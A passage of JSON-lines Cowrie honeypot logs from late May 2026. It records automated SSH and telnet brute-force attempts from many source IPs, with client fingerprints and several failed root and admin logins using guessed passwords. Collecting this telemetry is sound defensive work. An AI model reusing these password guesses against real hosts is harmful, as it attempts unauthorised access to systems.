16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:12.365349Z","src_ip":"87.251.79.125","session":"0fc834df03a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ptybnxtvgbjy","message":"login attempt [root/ptybnxtvgbjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:12.583267Z","src_ip":"87.251.79.125","session":"0fc834df03a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:13.657877Z","src_ip":"87.251.79.125","session":"0fc834df03a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":37512,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e7066f0ed50","protocol":"ssh","message":"New connection: 94.159.98.239:37512 (159.203.135.109:22) [session: 4e7066f0ed50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:36.804671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:36.913239Z","src_ip":"94.159.98.239","session":"4e7066f0ed50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:37.013414Z","src_ip":"94.159.98.239","session":"4e7066f0ed50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwsazx","message":"login attempt [root/qwsazx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:37.746692Z","src_ip":"94.159.98.239","session":"4e7066f0ed50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:49:38.866445Z","src_ip":"94.159.98.239","session":"4e7066f0ed50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41992,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf3d899d57f7","protocol":"ssh","message":"New connection: 103.153.68.219:41992 (10.17.0.5:22) [session: bf3d899d57f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:12.905723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:12.911795Z","src_ip":"103.153.68.219","session":"bf3d899d57f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:13.161654Z","src_ip":"103.153.68.219","session":"bf3d899d57f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":47014,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e1c4178da7","protocol":"ssh","message":"New connection: 103.98.149.87:47014 (10.17.0.5:22) [session: 86e1c4178da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:13.375597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:13.483634Z","src_ip":"103.98.149.87","session":"86e1c4178da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnthdjxrf","message":"login attempt [root/cnthdjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:13.915283Z","src_ip":"103.153.68.219","session":"bf3d899d57f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:14.137654Z","src_ip":"103.98.149.87","session":"86e1c4178da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"karatel1","message":"login attempt [root/karatel1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:15.010207Z","src_ip":"103.98.149.87","session":"86e1c4178da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:15.169100Z","src_ip":"103.153.68.219","session":"bf3d899d57f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":40620,"dst_ip":"159.203.135.109","dst_port":22,"session":"5588c78e0e1b","protocol":"ssh","message":"New connection: 77.94.47.83:40620 (159.203.135.109:22) [session: 5588c78e0e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:16.060995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:16.066147Z","src_ip":"77.94.47.83","session":"5588c78e0e1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:16.176806Z","src_ip":"77.94.47.83","session":"5588c78e0e1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:16.468659Z","src_ip":"103.98.149.87","session":"86e1c4178da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"333111","message":"login attempt [root/333111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:16.516508Z","src_ip":"77.94.47.83","session":"5588c78e0e1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:17.631262Z","src_ip":"77.94.47.83","session":"5588c78e0e1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46172,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eb351f6bccf","protocol":"telnet","message":"New connection: 69.4.83.194:46172 (159.203.135.109:23) [session: 1eb351f6bccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:30.901518Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":42318,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d4fa69b7dc","protocol":"ssh","message":"New connection: 2.57.121.112:42318 (10.17.0.5:22) [session: f5d4fa69b7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:31.102506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:31.107505Z","src_ip":"2.57.121.112","session":"f5d4fa69b7dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:31.216119Z","src_ip":"2.57.121.112","session":"f5d4fa69b7dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050572","message":"login attempt [admin/050572] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:31.710162Z","src_ip":"2.57.121.112","session":"f5d4fa69b7dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050490","message":"login attempt [admin/050490] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:32.819775Z","src_ip":"2.57.121.112","session":"f5d4fa69b7dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050483","message":"login attempt [admin/050483] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:33.927781Z","src_ip":"2.57.121.112","session":"f5d4fa69b7dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05031975","message":"login attempt [admin/05031975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:35.036535Z","src_ip":"2.57.121.112","session":"f5d4fa69b7dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05031971","message":"login attempt [admin/05031971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:36.145158Z","src_ip":"2.57.121.112","session":"f5d4fa69b7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:37.253903Z","src_ip":"2.57.121.112","session":"f5d4fa69b7dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":55804,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9d358cffcd2","protocol":"ssh","message":"New connection: 103.149.170.125:55804 (159.203.135.109:22) [session: c9d358cffcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:51.840727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:51.845237Z","src_ip":"103.149.170.125","session":"c9d358cffcd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:52.108551Z","src_ip":"103.149.170.125","session":"c9d358cffcd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vaz2115","message":"login attempt [root/vaz2115] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:52.890390Z","src_ip":"103.149.170.125","session":"c9d358cffcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:50:54.152576Z","src_ip":"103.149.170.125","session":"c9d358cffcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.872342109680176,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:51:03.773764Z","src_ip":"69.4.83.194","session":"1eb351f6bccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb8bb2a68717","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: bb8bb2a68717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:51:34.229154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:51:34.233642Z","src_ip":"23.97.62.150","session":"bb8bb2a68717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:51:34.463424Z","src_ip":"23.97.62.150","session":"bb8bb2a68717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rocky123","message":"login attempt [root/rocky123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:51:35.152684Z","src_ip":"23.97.62.150","session":"bb8bb2a68717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:51:36.385386Z","src_ip":"23.97.62.150","session":"bb8bb2a68717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":58800,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2f96d60fec1","protocol":"ssh","message":"New connection: 80.66.85.226:58800 (10.17.0.5:22) [session: a2f96d60fec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:52:11.410161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:52:11.414728Z","src_ip":"80.66.85.226","session":"a2f96d60fec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly13